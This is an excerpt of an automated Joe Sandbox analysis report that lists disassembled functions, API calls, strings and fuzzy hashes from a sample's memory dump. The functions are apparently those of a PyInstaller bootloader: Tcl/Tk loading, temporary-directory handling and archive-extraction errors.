Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 4700cc90785079b7bb7a0602c46334a4ae9c6cdcc1bc7f68a8ec9cd099c19dcc
Instruction ID: abeacb111e894366aa60b87f059ba1fae5953056e90edd1bfd360b0f05b37e01
Opcode Fuzzy Hash: 4700cc90785079b7bb7a0602c46334a4ae9c6cdcc1bc7f68a8ec9cd099c19dcc
Instruction Fuzzy Hash: 9C410322714A9482EF04EF2AE914169B3A2BB48FE4B899437DE4DA7F54EF7CC451C310

Function 00007FF7C2678154 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b8cddb4ee5dd57f1c7573491c8f445712dd312cb7e9e547cfd0f9c072f4c0c7
Instruction ID: ddf653c4c20090707462923c6116c6c555012c4835dc6013f5b92bbcaab8c869
Opcode Fuzzy Hash: 2b8cddb4ee5dd57f1c7573491c8f445712dd312cb7e9e547cfd0f9c072f4c0c7
Instruction Fuzzy Hash: D831C432B18B4281E754BF25744013DA696AF84BA0F944238EADD63FD5DF7CD801D324

Function 00007FF7C26895E0 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bcf48121633763fd2f6aa1741893fa818c421e56c797f7e3558f0bc07bbc94c0
Instruction ID: 56f793aae0d201c7bbf6eeed329dfeed23f16440cb7575140ceff2c0fa2710f1
Opcode Fuzzy Hash: bcf48121633763fd2f6aa1741893fa818c421e56c797f7e3558f0bc07bbc94c0
Instruction Fuzzy Hash: D3F044717182A58ADBA89F69A402629B7D1F7483D0F908039D5C983F04DB7C9061CF24

Function 00007FF7C266D37C Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6acc2ec838af36dd9636ef9e1d94249ffac8b7a33868b0b47a68aa66541c0b8
Instruction ID: f785e3ceab1f783541610a07cb0be301756ccaa23c41d077ab108202e995945e
Opcode Fuzzy Hash: e6acc2ec838af36dd9636ef9e1d94249ffac8b7a33868b0b47a68aa66541c0b8
Instruction Fuzzy Hash: 92A0022590CC0AD0E644AF11E8E1035A332FB52330FC40031E18DB5AB0AFBCA400D335

Function 00007FF7C26676B0 Relevance: 177.1, APIs: 66, Strings: 35, Instructions: 314libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF7C26676C7
GetLastError.KERNEL32 ref: 00007FF7C26676D9
GetProcAddress.KERNEL32 ref: 00007FF7C2667715
GetLastError.KERNEL32 ref: 00007FF7C2667727
GetProcAddress.KERNEL32 ref: 00007FF7C2667740
GetLastError.KERNEL32 ref: 00007FF7C2667752
GetProcAddress.KERNEL32 ref: 00007FF7C266776B
GetLastError.KERNEL32 ref: 00007FF7C266777D
GetProcAddress.KERNEL32 ref: 00007FF7C2667799
GetLastError.KERNEL32 ref: 00007FF7C26677AB
GetProcAddress.KERNEL32 ref: 00007FF7C26677C7
GetLastError.KERNEL32 ref: 00007FF7C26677D9
GetProcAddress.KERNEL32 ref: 00007FF7C26677F5
GetLastError.KERNEL32 ref: 00007FF7C2667807
GetProcAddress.KERNEL32 ref: 00007FF7C2667823
GetLastError.KERNEL32 ref: 00007FF7C2667835
GetProcAddress.KERNEL32 ref: 00007FF7C2667851
GetLastError.KERNEL32 ref: 00007FF7C2667863

Strings

Tcl_MutexFinalize, xrefs: 00007FF7C26678FF, 00007FF7C2667921
Tcl_Alloc, xrefs: 00007FF7C2667C0D, 00007FF7C2667C2F
Tcl_JoinThread, xrefs: 00007FF7C2667875, 00007FF7C2667897
Tcl_ThreadQueueEvent, xrefs: 00007FF7C26679B7, 00007FF7C26679D9
Tcl_ConditionWait, xrefs: 00007FF7C2667989, 00007FF7C26679AB
Tk_GetNumMainWindows, xrefs: 00007FF7C2667C97, 00007FF7C2667CB9
Tcl_NewByteArrayObj, xrefs: 00007FF7C2667AF9, 00007FF7C2667B1B
Tcl_MutexUnlock, xrefs: 00007FF7C26678D1, 00007FF7C26678F3
Tcl_NewStringObj, xrefs: 00007FF7C2667ACB, 00007FF7C2667AED
Failed to get address for %hs, xrefs: 00007FF7C26676E8
Tcl_Finalize, xrefs: 00007FF7C266778F, 00007FF7C26677B1
Tcl_DoOneEvent, xrefs: 00007FF7C2667761, 00007FF7C2667783
Tcl_Init, xrefs: 00007FF7C26676C0, 00007FF7C26676DF
Tcl_DeleteInterp, xrefs: 00007FF7C26677EB, 00007FF7C266780D
Tcl_EvalObjv, xrefs: 00007FF7C2667BDF, 00007FF7C2667C01
Tcl_CreateThread, xrefs: 00007FF7C2667819, 00007FF7C266783B
Tk_Init, xrefs: 00007FF7C2667C69, 00007FF7C2667C8B
Tcl_GetString, xrefs: 00007FF7C2667A9D, 00007FF7C2667ABF
Tcl_ConditionFinalize, xrefs: 00007FF7C266792D, 00007FF7C266794F
Tcl_EvalFile, xrefs: 00007FF7C2667B83, 00007FF7C2667BA5
GetProcAddress, xrefs: 00007FF7C26676EF
Tcl_MutexLock, xrefs: 00007FF7C26678A3, 00007FF7C26678C5
Tcl_SetVar2, xrefs: 00007FF7C2667A41, 00007FF7C2667A63
Tcl_ThreadAlert, xrefs: 00007FF7C26679E5, 00007FF7C2667A07
Tcl_GetCurrentThread, xrefs: 00007FF7C2667847, 00007FF7C2667869
Tcl_EvalEx, xrefs: 00007FF7C2667BB1, 00007FF7C2667BD3
Tcl_FindExecutable, xrefs: 00007FF7C2667736, 00007FF7C2667758
Tcl_CreateInterp, xrefs: 00007FF7C266770B, 00007FF7C266772D
Tcl_SetVar2Ex, xrefs: 00007FF7C2667B27, 00007FF7C2667B49
Tcl_ConditionNotify, xrefs: 00007FF7C266795B, 00007FF7C266797D
Tcl_GetVar2, xrefs: 00007FF7C2667A13, 00007FF7C2667A35
Tcl_FinalizeThread, xrefs: 00007FF7C26677BD, 00007FF7C26677DF
Tcl_CreateObjCommand, xrefs: 00007FF7C2667A6F, 00007FF7C2667A91
Tcl_Free, xrefs: 00007FF7C2667C3B, 00007FF7C2667C5D
Tcl_GetObjResult, xrefs: 00007FF7C2667B55, 00007FF7C2667B77

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: AddressErrorLastProc
String ID: Failed to get address for %hs$GetProcAddress$Tcl_Alloc$Tcl_ConditionFinalize$Tcl_ConditionNotify$Tcl_ConditionWait$Tcl_CreateInterp$Tcl_CreateObjCommand$Tcl_CreateThread$Tcl_DeleteInterp$Tcl_DoOneEvent$Tcl_EvalEx$Tcl_EvalFile$Tcl_EvalObjv$Tcl_Finalize$Tcl_FinalizeThread$Tcl_FindExecutable$Tcl_Free$Tcl_GetCurrentThread$Tcl_GetObjResult$Tcl_GetString$Tcl_GetVar2$Tcl_Init$Tcl_JoinThread$Tcl_MutexFinalize$Tcl_MutexLock$Tcl_MutexUnlock$Tcl_NewByteArrayObj$Tcl_NewStringObj$Tcl_SetVar2$Tcl_SetVar2Ex$Tcl_ThreadAlert$Tcl_ThreadQueueEvent$Tk_GetNumMainWindows$Tk_Init
API String ID: 199729137-3427451314
Opcode ID: 0a662de07e299f73dada83b080b335429a490c7fb48c0bc5bb894b33d2b2cc2e
Instruction ID: 306ba11d9e9725e2f8d414c8a1269bf14dfd424d964dc69a7746be179d1449be
Opcode Fuzzy Hash: 0a662de07e299f73dada83b080b335429a490c7fb48c0bc5bb894b33d2b2cc2e
Instruction Fuzzy Hash: 86028028A0DB8BD1EA55BF65A810974E2A3BF04775FD40135D49E62BA0EFFCA548C334

Function 00007FF7C26681C0 Relevance: 24.6, APIs: 6, Strings: 8, Instructions: 117COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C2669400: MultiByteToWideChar.KERNEL32(?,?,?,00007FF7C26645E4,00000000,00007FF7C2661985), ref: 00007FF7C2669439

ExpandEnvironmentStringsW.KERNEL32(?,00007FF7C26688A7,?,?,00000000,00007FF7C2663CBB), ref: 00007FF7C266821C

Part of subcall function 00007FF7C2662810: MessageBoxW.USER32 ref: 00007FF7C26628EA

Strings

%.*s, xrefs: 00007FF7C26682FC
LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!, xrefs: 00007FF7C266828D
\, xrefs: 00007FF7C2668251
CreateDirectory, xrefs: 00007FF7C266836C
LOADER: failed to obtain the absolute path of the runtime-tmpdir., xrefs: 00007FF7C26682C9
LOADER: failed to create runtime-tmpdir path %ls!, xrefs: 00007FF7C2668363
LOADER: failed to convert runtime-tmpdir to a wide string., xrefs: 00007FF7C26681F3
LOADER: failed to expand environment variables in the runtime-tmpdir., xrefs: 00007FF7C2668230

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: ByteCharEnvironmentExpandMessageMultiStringsWide
String ID: %.*s$CreateDirectory$LOADER: failed to convert runtime-tmpdir to a wide string.$LOADER: failed to create runtime-tmpdir path %ls!$LOADER: failed to expand environment variables in the runtime-tmpdir.$LOADER: failed to obtain the absolute path of the runtime-tmpdir.$LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!$\
API String ID: 1662231829-930877121
Opcode ID: e491f33a4545c5dc9e33b4da933e1c9d98f9a36929a11ac7b8a73595df86892f
Instruction ID: 85ed38db19c7a4a2bdf58e851b1d06c7e56c01a1d69b3130a42f58656636a00b
Opcode Fuzzy Hash: e491f33a4545c5dc9e33b4da933e1c9d98f9a36929a11ac7b8a73595df86892f
Instruction Fuzzy Hash: 6D518751A1864291FB50BF31E8556BAE273AF947A0FC44031D58EA6F95EEBCE408C374

Function 00007FF7C2662180 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF7C26621AB
SelectObject.GDI32 ref: 00007FF7C26621F2
DrawTextW.USER32 ref: 00007FF7C2662215
SelectObject.GDI32 ref: 00007FF7C266222B
ReleaseDC.USER32 ref: 00007FF7C266223B
MoveWindow.USER32 ref: 00007FF7C266228B
MoveWindow.USER32 ref: 00007FF7C26622CB
MoveWindow.USER32 ref: 00007FF7C266231E
MoveWindow.USER32 ref: 00007FF7C2662366

Strings

P%, xrefs: 00007FF7C26621FF

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: MoveWindow$ObjectSelect$DrawReleaseText
String ID: P%
API String ID: 2147705588-2959514604
Opcode ID: 044398bc2faddcfc72e28419b1c607044beef288ba0900b5e0371f537bcab75f
Instruction ID: fe2e289fce019b1a42e0a73b8978909a0e3183056485ac487edc92353faf8931
Opcode Fuzzy Hash: 044398bc2faddcfc72e28419b1c607044beef288ba0900b5e0371f537bcab75f
Instruction Fuzzy Hash: 0651F826604BA186D6349F36E4181BAF7A2F798B61F004125EFDE83B95DF7CD045DB20

Function 00007FF7C26680B0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

GetWindowLongPtrW.USER32 ref: 00007FF7C26680EF
GetWindowLongPtrW.USER32 ref: 00007FF7C266816F
ShutdownBlockReasonCreate.USER32 ref: 00007FF7C2668182
GetLastError.KERNEL32 ref: 00007FF7C266818C
SetWindowLongPtrW.USER32 ref: 00007FF7C26681A3

Strings

Needs to remove its temporary files., xrefs: 00007FF7C2668175

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: LongWindow$BlockCreateErrorLastReasonShutdown
String ID: Needs to remove its temporary files.
API String ID: 3975851968-2863640275
Opcode ID: 1b4b32be61da5f45784fe9fe2f7d724fb74bbaf2a32eb33803c40e4204126e7e
Instruction ID: 943e3dc65ce24df7ccebc768ef81b8a2eef069d0b423ea26c178f2d78258173f
Opcode Fuzzy Hash: 1b4b32be61da5f45784fe9fe2f7d724fb74bbaf2a32eb33803c40e4204126e7e
Instruction Fuzzy Hash: B8219B21B08642C1E7516F75E854179E272FF88BB0F984130DA9D93BA5DE7CD544C334

Function 00007FF7C2676300 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 494COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C2676343
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C2676730
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C26769CC

Strings

:, xrefs: 00007FF7C26764FC
p, xrefs: 00007FF7C267646D
f, xrefs: 00007FF7C2676465
p, xrefs: 00007FF7C26763F5
-, xrefs: 00007FF7C26763D9

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: -$:$f$p$p
API String ID: 3215553584-2013873522
Opcode ID: 75ce3dd5e90789a751ac91fed3db50e3550f512a2f4dec46f6fb30c565ad9a60
Instruction ID: 45cfd66363752524c2264dc62b9af40e5ded7360e43e65be339fb8b8f7423c06
Opcode Fuzzy Hash: 75ce3dd5e90789a751ac91fed3db50e3550f512a2f4dec46f6fb30c565ad9a60
Instruction Fuzzy Hash: 68125E62A0814386FB24BE15B1542B9B6A3FB40F64FD44135E6DA66FC4DBBCE580CB31

Function 00007FF7C2671038 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C2671078
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C2671440
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C26716DF

Strings

f, xrefs: 00007FF7C2671110
p, xrefs: 00007FF7C2671182
f, xrefs: 00007FF7C26712C5
p, xrefs: 00007FF7C267111D
f, xrefs: 00007FF7C267117A

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$f$p$p$f
API String ID: 3215553584-1325933183
Opcode ID: efdc55b57c7b5823aa39a5abe82f144bbffe385c3037011f7a836833ec2ff017
Instruction ID: 8513f3dbb65ed212844400f80a2f7b3769c6d654bbd61cf483d7828a604a30d0
Opcode Fuzzy Hash: efdc55b57c7b5823aa39a5abe82f144bbffe385c3037011f7a836833ec2ff017
Instruction Fuzzy Hash: FD126022E0C14386FB20BE19B054679A663EB50F64FD84076E6D966FC4DBBCE584DB30

Function 00007FF7C2661050 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 119COMMON

Download Yara Rule

Strings

Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF7C2661108
fseek, xrefs: 00007FF7C26610D3
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF7C26611F6
fread, xrefs: 00007FF7C26611FD
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF7C26610CC
Failed to extract %s: failed to open archive file!, xrefs: 00007FF7C2661098
malloc, xrefs: 00007FF7C266110F

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2050909247-3659356012
Opcode ID: 0c31251e6cc82c47abebe2306b4fb6df75d7e9a8de90183b667ac336f21b0774
Instruction ID: 663c401b115724f4ced1b33431e9a565bbf00e481b73fbf9b67a2eb6e74f08e9
Opcode Fuzzy Hash: 0c31251e6cc82c47abebe2306b4fb6df75d7e9a8de90183b667ac336f21b0774
Instruction Fuzzy Hash: 91419321B08A5282EA10FF16A8046B9E3A6BF45BE0FC44471ED8C67B95DFBCE145C774

Function 00007FF7C2661470 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 107COMMON

Download Yara Rule

Strings

Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF7C2661518
fseek, xrefs: 00007FF7C26614E5
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF7C26615DF
fread, xrefs: 00007FF7C26615E6
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF7C26614DE
Failed to extract %s: failed to open archive file!, xrefs: 00007FF7C266149F
malloc, xrefs: 00007FF7C266151F

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2050909247-3659356012
Opcode ID: 5a016122ccacf22d2f40e2f4ad7ae1084c068073363954eaa92016f2cfc1e0a1
Instruction ID: 74630ec983ff8b59630089cc6483ce3fa238ccc11d678c6f5ce9123bb77f3583
Opcode Fuzzy Hash: 5a016122ccacf22d2f40e2f4ad7ae1084c068073363954eaa92016f2cfc1e0a1
Instruction Fuzzy Hash: E2418061A08A4285EB10FF25A4005B9E3A2AF44BA4FC44532ED8D67F95DFBCE541C738

Function 00007FF7C266EA78 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF7C266EAD5

Part of subcall function 00007FF7C266FA2C: __GetUnwindTryBlock.LIBCMT ref: 00007FF7C266FA6F
Part of subcall function 00007FF7C266FA2C: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF7C266FA94

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF7C266EBAD
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF7C266EDFB
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF7C266EF08

Strings

csm, xrefs: 00007FF7C266EAEF
csm, xrefs: 00007FF7C266EB56
csm, xrefs: 00007FF7C266EBD0

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: b3973e9ed2b821368333a922871466498bda8290f9160b5e7eff6497ccad0325
Instruction ID: e0a5bfe2948626145a018a2421533cd9bc3759e14cd9de75313a28f7ff616932
Opcode Fuzzy Hash: b3973e9ed2b821368333a922871466498bda8290f9160b5e7eff6497ccad0325
Instruction Fuzzy Hash: 9FD1D272A087428AEB20AF65D4417ADB7B1FB447A8F400136EE8D67F99DF78E041C764

Function 00007FF7C2662C50 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 104windowCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF7C2663706,?,00007FF7C2663804), ref: 00007FF7C2662C9E
FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF7C2663706,?,00007FF7C2663804), ref: 00007FF7C2662D63
MessageBoxW.USER32 ref: 00007FF7C2662D99

Strings

Error, xrefs: 00007FF7C2662D8C
[PYI-%d:ERROR] , xrefs: 00007FF7C2662CA6
%ls: , xrefs: 00007FF7C2662D22
<FormatMessageW failed.>, xrefs: 00007FF7C2662D70

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: Message$CurrentFormatProcess
String ID: %ls: $<FormatMessageW failed.>$Error$[PYI-%d:ERROR]
API String ID: 3940978338-251083826
Opcode ID: 5cbcdbf458937bec5e084182eea0cc5ea1ed3b872b1d9e6a561cbd57b4752a27
Instruction ID: 89aef188a2f90600393c46ac757ca7c5610f37631863ccb7d782ce4fd47d887d
Opcode Fuzzy Hash: 5cbcdbf458937bec5e084182eea0cc5ea1ed3b872b1d9e6a561cbd57b4752a27
